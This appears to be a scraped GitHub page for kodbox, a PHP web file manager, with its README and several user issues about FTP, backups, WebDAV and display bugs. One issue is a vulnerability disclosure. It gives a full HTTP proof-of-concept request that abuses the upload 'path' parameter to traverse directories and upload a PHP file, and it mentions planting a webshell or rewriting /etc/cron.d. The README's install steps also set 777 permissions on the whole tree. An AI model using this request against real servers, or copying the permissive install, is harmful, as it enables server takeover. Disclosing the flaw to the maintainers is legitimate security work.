kodbox is a file manager for web. It is a newly designed product based on kodexplorer.

Overview

kodbox

Home page GPLV3 License

kodbox is a file manager for web. It is also a web code editor, which allows you to develop websites directly within the web browser.You can run kodbox either online or locally,on Linux, Windows or Mac based platforms. The only requirement is to have PHP 5 available.

Demo [user: demo/demo]


Features

  • Use experience like operating system, Rich context menu and toolbar, drag and drop, shortcut keys......
  • Available in more than 40 languages.
  • File Manage
    • All operations with files and folders on a remote server(copy,cute,paste,move,remove,upload,create folder/file,rename,etc.)
    • Multi-User support,custom role group.
    • Flexible configuration of access rights,file types restriction, user - interface and other
    • Clipboard: copy, cut, paste, clear
    • Selectable files & folders support (mouse click & Ctrl & Shift & words & Keyboard shortcuts)
    • Keyboard shortcuts: delete deletion, ctrl+A select, ctrl+C replication, ctrl+X splicing, up/down/left/right/home/end etc.
    • Multiple actions support for selected files & folders: move,copy,cute,remove,rename,open,archive,delete,download etc.
    • Double or single click setup to open files & folders
    • Filetree: allow to open and display multiple subfolders at a time
    • Implemented natural sorting on the client-side
    • List,Icons and Split view;
    • Move/Copy/Clone/Delete files with Drag & Drop
    • Share files or folder to others.
    • Add folder to your favorites
    • Calculate directory sizes
    • Thumbnails for image files
    • Normalizer:UTF-8 Normalizer of file-name and file-path etc.
    • Muti Charset support, in a variety of circumstances garbled solution;Sanitizer of file-name and file-path etc.
    • Multiple & chunked uploads support,
    • Background file upload with Drag & Drop HTML5 support;Folder upload with Chrome, Firefox and Edge
    • Upload form URL (or list)
    • Direct extraction to the current working directory (you do not want - to create a folder)
    • Search: search by filename & file contents
    • File exclusion based on name
    • Copy direct file URL
    • Archives create/extract/preview (zip, rar, 7z, tar, gzip, tgz)
    • Quicklook, preview for common file types; image file,text file,pdf,swf,document file etc.
    • Video and audio player relying on web browser capabilities
  • Editor
    • Syntax highlighting for over 120 languages
    • Multiple label, Drag & Drop the label.
    • Over 15 themes,Choose your favorite programming style
    • Web development: HTML/JS/CSS editor with Emmet integrated
    • Automatic indent and outdent;Line wrapping;Code folding
    • Multiple cursors and selections;(Middle key select;Ctrl+Command+G)
    • Autocomplete.
    • Fully customizable key bindings including vim and Emacs modes
    • Search and replace with regular expressions;Highlight matching parentheses
    • Toggle between soft tabs and real tabs
    • Displays hidden characters
    • Drag and drop text using the mouse
    • Live syntax checker (JavaScript/CoffeeScript/CSS/XQuery/HTML/PHP etc.)
    • Cut, copy, and paste functionality
    • Markdown support.(live preview;convert to html etc.)
    • Format: JavaScript/CSS/HTML/JSON/PHP etc.
    • Cross-platform, even on mobile devices
    • Easy to integrate with other systems
    • Developed by kod itself, this is a nice try.

Install

1. Install from source

git clone https://github.com/kalcaddle/kodbox.git
chmod -Rf 777 ./kodbox/*

2. Install via download

wget https://github.com/kalcaddle/kodbox/archive/refs/heads/main.zip
unzip main.zip
chmod -Rf 777 ./*

FAQs

  • Forget password

    Login page: see the "Forget password".

  • Upload with Drag & Drop

    Browser compatibility: Chrome, Firefox and Edge

  • How to make the system more secure?

    Make sure the administrator password is more complex.
    Open login verification code.
    Set the http server to not allow list the directory;
    PHP Security:Set the path for open_basedir.

Screenshot

file manage:

  • Overview Overview
  • File list Type (icon,list,split) File list Type
  • Archives create/extract/preview (zip, rar, 7z, tar, gzip, tgz) Archives create/extract/preview
  • Drag upload Drag upload
  • Player Player
  • Online Office view & Editor Online Office

Editor:

  • Overview Overview
  • Live preview Live preview
  • Search folder Search folder
  • Markdown Markdown
  • Code style Code style

Others:

  • System role System role
  • Colorful Theme Colorful Theme
  • Custom Theme Custom Theme
  • Language Language

Software requirements

  • Server:
    • Windows,Linux,Mac ...
    • PHP 5.3+
    • Database: File system driver;sqlite;mysql;...
  • Browser compatibility:
    • Chrome
    • Firefox
    • Opera
    • IE9+

Tips: It can also run on a router, or your home NAS

License

kodcloud is issued under GPLv3. license.License
Contact: kalcaddle#qq.com
Copyright (C) 2013 kodcloud.com

Comments
  • Make it store data in my server rather then my db

    Make it store data in my server rather then my db

    Will it be possible to change sole code to make it store data in my server rather then using a DB that only can support 10 GB's of data? My server has 1 TB+ SSD Drive if you can, please tell me how

    opened by TerraPlayz 9
  • Can't connect to FTP storage

    Can't connect to FTP storage

    As last issue, also the version 1.24 build 1111 can't connect to an FTP server. This is the server log with passive mode:

    (000001)11/11/2021 18:24:12 - (not logged in) (x.x.x.x)> USER test
    (000001)11/11/2021 18:24:12 - (not logged in) (x.x.x.x)> 331 Password required for test
    (000001)11/11/2021 18:24:12 - (not logged in) (x.x.x.x)> PASS ****
    (000001)11/11/2021 18:24:12 - test (x.x.x.x)> 230 Logged on
    (000001)11/11/2021 18:24:12 - test (x.x.x.x)> PASV
    (000001)11/11/2021 18:24:12 - test (x.x.x.x)> 227 Entering Passive Mode (192,168,1,100,210,76)
    (000001)11/11/2021 18:24:12 - test (x.x.x.x)> CWD /
    (000001)11/11/2021 18:24:12 - test (x.x.x.x)> 250 CWD successful. "/" is current directory.
    (000001)11/11/2021 18:24:12 - test (x.x.x.x)> TYPE I
    (000001)11/11/2021 18:24:12 - test (x.x.x.x)> 200 Type set to I
    (000001)11/11/2021 18:24:12 - test (x.x.x.x)> SIZE /
    (000001)11/11/2021 18:24:12 - test (x.x.x.x)> 550 File not found
    (000001)11/11/2021 18:24:12 - test (x.x.x.x)> CWD /
    (000001)11/11/2021 18:24:12 - test (x.x.x.x)> 250 CWD successful. "/" is current directory.
    (000001)11/11/2021 18:24:17 - test (x.x.x.x)> QUIT
    (000001)11/11/2021 18:24:17 - test (x.x.x.x)> 221 Goodbye
    (000001)11/11/2021 18:24:17 - test (x.x.x.x)> disconnected.
    

    And this is with active mode:

    (000002)11/11/2021 18:24:30 - (not logged in) (x.x.x.x)> USER test
    (000002)11/11/2021 18:24:30 - (not logged in) (x.x.x.x)> 331 Password required for test
    (000002)11/11/2021 18:24:30 - (not logged in) (x.x.x.x)> PASS ****
    (000002)11/11/2021 18:24:30 - test (x.x.x.x)> 230 Logged on
    (000002)11/11/2021 18:24:30 - test (x.x.x.x)> CWD /
    (000002)11/11/2021 18:24:30 - test (x.x.x.x)> 250 CWD successful. "/" is current directory.
    (000002)11/11/2021 18:24:30 - test (x.x.x.x)> TYPE I
    (000002)11/11/2021 18:24:30 - test (x.x.x.x)> 200 Type set to I
    (000002)11/11/2021 18:24:30 - test (x.x.x.x)> SIZE /
    (000002)11/11/2021 18:24:30 - test (x.x.x.x)> 550 File not found
    (000002)11/11/2021 18:24:30 - test (x.x.x.x)> CWD /
    (000002)11/11/2021 18:24:30 - test (x.x.x.x)> 250 CWD successful. "/" is current directory.
    (000002)11/11/2021 18:24:30 - test (x.x.x.x)> PORT 10,6,20,190,149,255
    (000002)11/11/2021 18:24:30 - test (x.x.x.x)> 200 Port command successful
    (000002)11/11/2021 18:24:30 - test (x.x.x.x)> STOR /index.html
    (000002)11/11/2021 18:24:30 - test (x.x.x.x)> 150 Opening data channel for file transfer.
    (000002)11/11/2021 18:24:35 - test (x.x.x.x)> QUIT
    (000002)11/11/2021 18:24:40 - test (x.x.x.x)> disconnected.
    

    In both cases, the connection and login is successful done, but after the QUIT, Kodbox say it's unable to connect and can't add the storage.

    opened by RallyTuning 8
  • Does not work after 1.20 update

    Does not work after 1.20 update

    My KodBox updated to 1.20, and now I get the error below: 出错了! (warning!) ../app/autoload.php[2]; UserOptionModel->cacheKey(); Undefined constant "USER_ID"

    I tried installing a new copy and had the same error.

    opened by devenbj 6
  • 挂载minio后,打开包含图片文件夹时,无法加载缩略图

    挂载minio后,打开包含图片文件夹时,无法加载缩略图

    我挂载了 Minio 当作为文件存储,遇到如下问题:

    1. 如果在设置中关闭 【服务器中转(下载)】功能,则打开包含图片的文件夹,会无法加载缩略图,加载请求被重定向到 minio 了。所以图片多了后,很影响使用体验
    2. 如果在设置中打开 【服务器中转(下载)】功能,则下载文件的速度非常慢,本人猜测是由于中转导致的

    请问针对情况1,是否可以优化下呢? 针对情况2,有什么配置方案可以解决吗? 谢谢!

    opened by GalensGan 5
  • webdav 不支持 super-productivity 同步

    webdav 不支持 super-productivity 同步

    super-productivity 中使用 kodbox 提供的 webdav 进行同步时,会报错,错误如下:

    web-dav-sync.service.ts:55 Error: Not able to get rev for WebDAV
    at n._getRevFromMeta (web-dav-sync.service.ts:117)
    at n.<anonymous> (web-dav-sync.service.ts:48)
    at Generator.next (<anonymous>)
    at h (web-dav-api.service.ts:18)
    at T.invoke (zone.js:372)
    at Object.onInvoke (core.mjs:25476)
    at T.invoke (zone.js:371)
    at I.run (zone.js:134)
    at zone.js:1276
    at T.invokeTask (zone.js:406)
    

    而我使用坚果云的 webdav 则没有这个问题。 同时希望 kodbox 可以提供跨域设置,这样方便 super-productivity 进行安卓同步,谢谢!

    opened by GalensGan 4
  • There is a Directory Traversal vulnerability and a File Upload Attack vulnerability that can execute any code in all versions of kodbox

    There is a Directory Traversal vulnerability and a File Upload Attack vulnerability that can execute any code in all versions of kodbox

    After logining to the background,Send packet with burpsuite. Change the param path like poc(just delete the blank line in param path),then you can use /../ to travel to any directory and upload any file,such as a php file to get a webshell or just rewrite the /etc/cron.d to get server shell.

    POC

    POST /kodbox-1.34.031/?explorer/upload/fileUpload HTTP/1.1
    Host: 127.0.0.1:8888
    Content-Length: 1372
    sec-ch-ua: " Not A;Brand";v="99", "Chromium";v="104"
    sec-ch-ua-mobile: ?0
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.5112.102 Safari/537.36
    sec-ch-ua-platform: "macOS"
    Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryousIKld0B8DtTHHB
    Accept: */*
    Origin: http://127.0.0.1:8888
    Sec-Fetch-Site: same-origin
    Sec-Fetch-Mode: cors
    Sec-Fetch-Dest: empty
    Referer: http://127.0.0.1:8888/kodbox-1.34.031/
    Accept-Encoding: gzip, deflate
    Accept-Language: zh-CN,zh;q=0.9
    Cookie: KOD_SESSION_ID=1453502f6d41d5ed83d53b43337e2ce8; CSRF_TOKEN=yxT6ev6iJSZkyyRp; kodUserID=1
    Connection: close
    
    ------WebKitFormBoundaryousIKld0B8DtTHHB
    Content-Disposition: form-data; name="id"
    
    WU_FILE_0
    ------WebKitFormBoundaryousIKld0B8DtTHHB
    Content-Disposition: form-data; name="name"
    
    1.php
    ------WebKitFormBoundaryousIKld0B8DtTHHB
    Content-Disposition: form-data; name="type"
    
    text/php
    ------WebKitFormBoundaryousIKld0B8DtTHHB
    Content-Disposition: form-data; name="lastModifiedDate"
    
    Thu Dec 23 2021 16:50:33 GMT+0800 (中国标准时间)
    ------WebKitFormBoundaryousIKld0B8DtTHHB
    Content-Disposition: form-data; name="size"
    
    20
    ------WebKitFormBoundaryousIKld0B8DtTHHB
    Content-Disposition: form-data; name="fullPath"
    
    
    ------WebKitFormBoundaryousIKld0B8DtTHHB
    Content-Disposition: form-data; name="path"
    /
    ------WebKitFormBoundaryousIKld0B8DtTHHB
    Content-Disposition: form-data; name="modifyTime"
    
    1640249433000
    ------WebKitFormBoundaryousIKld0B8DtTHHB
    Content-Disposition: form-data; name="chunkSize"
    
    524288
    ------WebKitFormBoundaryousIKld0B8DtTHHB
    Content-Disposition: form-data; name="CSRF_TOKEN"
    
    yxT6ev6iJSZkyyRp
    ------WebKitFormBoundaryousIKld0B8DtTHHB
    Content-Disposition: form-data; name="API_ROUTE"
    
    explorer/upload/fileUpload
    ------WebKitFormBoundaryousIKld0B8DtTHHB
    Content-Disposition: form-data; name="file"; filename="1.php"
    Content-Type: text/php
    
    <?php
    phpinfo();
    ?>
    
    ------WebKitFormBoundaryousIKld0B8DtTHHB--
    

    POC PICTURE

    截屏2022-09-13 13 36 32 截屏2022-09-13 13 36 39
    opened by yukar1z0e 3
  • Backups dosen't works

    Backups dosen't works

    When i click to perform a "manual backup", the timer just go on long time until the action just stop without do any backups. Solutions? Where i cans see the log? (automatic backup didn't work neither)

    opened by RallyTuning 3
  • Split files/folders name by words not by chars

    Split files/folders name by words not by chars

    Would be nice to split long names by words, as other software do. Instead of by "char max length". Then will be NOT hard to understand the file/folder name.

    image

    opened by RallyTuning 3
  • Cookies and embed websites

    Cookies and embed websites

    So, i have added some websites in the left menu bar, these websites are opened in embed mode (or in a modal window) but they cant save cookies? Example: I have added my email host website, after i login, he kept redirect me to the login page, instead of mail list. Same with settings website: i have added another website with color background changed, if i refresh the page, the color is back to default. Another website ask me to accept cookies, i accept and the message go away, but if i refresh the website or change page, the message come again. This means the modal window or embed EXTERNAL websites, cant save cookies in kodbox?

    opened by RallyTuning 3
  • 手机web页面,文件列表无法上下滑动

    手机web页面,文件列表无法上下滑动

    服务器系统: Windows NT ACCOUNTING-PC 6.1 build 7601 (Windows 7 Professional Edition Service Pack 1) i586 服务器软件: Apache/2.4.37 PHP版本: PHP/5.5.30 数据库: MySQL/5.5.54-log

    手机端浏览器:Chrome,Edge Kodbox V1.20.0528

    opened by jameszhang023 3
  • all Files in random in kodbox

    all Files in random in kodbox

    I installed kodbox on the hosting. but when I want to access the "path" public_html/mysite/data/files/202105/21_efbf567d I see that all the files are in random order. In KodeExplorer, all files are in the normal order as on the web page. how can I access the files in the normal order?

    opened by vadlike 3
Releases(1.36.04)
File manager module for the Lumen PHP framework.

Lumen File Manager File manager module for the Lumen PHP framework. Please note that this module is still under active development. NOTE: Branch 5.1 i

Digia 40 Aug 20, 2022
A lightweight file manager with full ShareX, Screencloud support and more

XBackBone is a simple, self-hosted, lightweight PHP file manager that support the instant sharing tool ShareX and *NIX systems. It supports uploading

Sergio Brighenti 751 Jan 8, 2023
FIle Uploader is a php package to aid fast , easy and safe file upload

FILE UPLOADER FIle Uploader is a php package to aid fast , easy and safe file upload installation composer require codad5/file-helper Features Fast an

Aniezeofor Chibueze Michael 2 Sep 3, 2022
ORM-based file upload package for php.

#Stapler Note: If you've previously been using this package, then you've been using it with Laravel. This package is no longer directly coupled to the

Code Sleeve 541 Dec 30, 2022
A "Vuejs & Laravel" Media Manager With Tons of Features

Laravel Media Manager Installation Config Features Events Usage Installation composer require ctf0/media-manager publish the package assets with php a

Muah 783 Dec 29, 2022
Detects file type by filename or content and generates correct mimetype.

FileTypeDetector Files type detector based on file name extension or file content (binary content). Usage Installation Supported formats Usage File Ty

Sergey 31 Oct 6, 2022
Uguu is a simple lightweight temporary file host with support for drop, paste, click and API uploading.

Uguu What is Uguu? Uguu is a simple lightweight temporary file hosting and sharing platform, but can also be used as a permanent file host. Features O

Eric Johansson (neku) 547 Dec 28, 2022
Watch changes in the file system using PHP

Watch changes in the file system using PHP This package allows you to react to all kinds of changes in the file system. Here's how you can run code wh

Spatie 170 Dec 25, 2022
🛬🧾 A PHP8 TacView ACMI file format parser

A PHP8 TacView ACMI file format parser This package offers parsing support for TacView ACMI flight recordings version 2.1, it follows the standard des

Ignacio Muñoz Fernandez 1 Jan 18, 2022
Upload File Library For PHP ( Simple & Easy User )

Upload File Library For Backend/ServerSide PHP ( Simple & Easy For Use ), Support Multiple Upload

Lamhot Simamora 1 Oct 12, 2021
Creating a file uploader with Laravel

File-Uploader File uploader is a simple group of restful APIs built in Laravel to upload file into a server and remove the file from that server. Tool

AmirH.Najafizadeh 4 Jul 31, 2022
Gotipath Storage is a file storage library for PHP. It provides one interface to interact with FTP/SFTP.

Gotipath Storage is a file storage library for PHP. It provides one interface to interact with FTP/SFTP. When you use this package, you're protected from vendor lock-in, That mean you can connect to any FTP/SFTP storage. Also it's comes with base URL option to connect Gotipath CDN.

Gotipath 2 Nov 3, 2021
Basic anonymous and registered upload storage for temporary share file self hosted.

TMPShareX Basic anonymous and registered upload storage for temporary share file self hosted. Server Requirement PHP 7.4.8 [Support PHP 8] Nginx 1.19.

Sandy Hermansyah 1 Feb 3, 2022
Media gallery with CKEditor, TinyMCE and Summernote support. Built on Laravel file system.

Documents ・ Installation ・ Integration ・ Config ・ Customization ・ Events ・ Upgrade ・ Demo ・ FAQ Features File upload and management Uploading validati

UniSharp 1.9k Jan 1, 2023
Simple file uploading, Pomf like

Pomf-0x80 Simple file uploading, Pomf like. Features One click uploading, no registration required IPFS Upload + Pin A minimal, modern web interface D

Iqbal Rifai 4 Apr 28, 2022
Private file storage and share with user build with laravel and vue inspired by google drive

LaravelDrive is a file storage system that allows store private file and share with users build wiht laravel and vue inspired by google drive. Laravel

Shahadat Hossain 70 Dec 22, 2022
PHPProject is a library written in pure PHP that provides a set of classes to write to different project management file formats

PHPProject PHPProject is a library written in pure PHP that provides a set of classes to write to different project management file formats, i.e. Micr

PHPOffice 192 Dec 17, 2022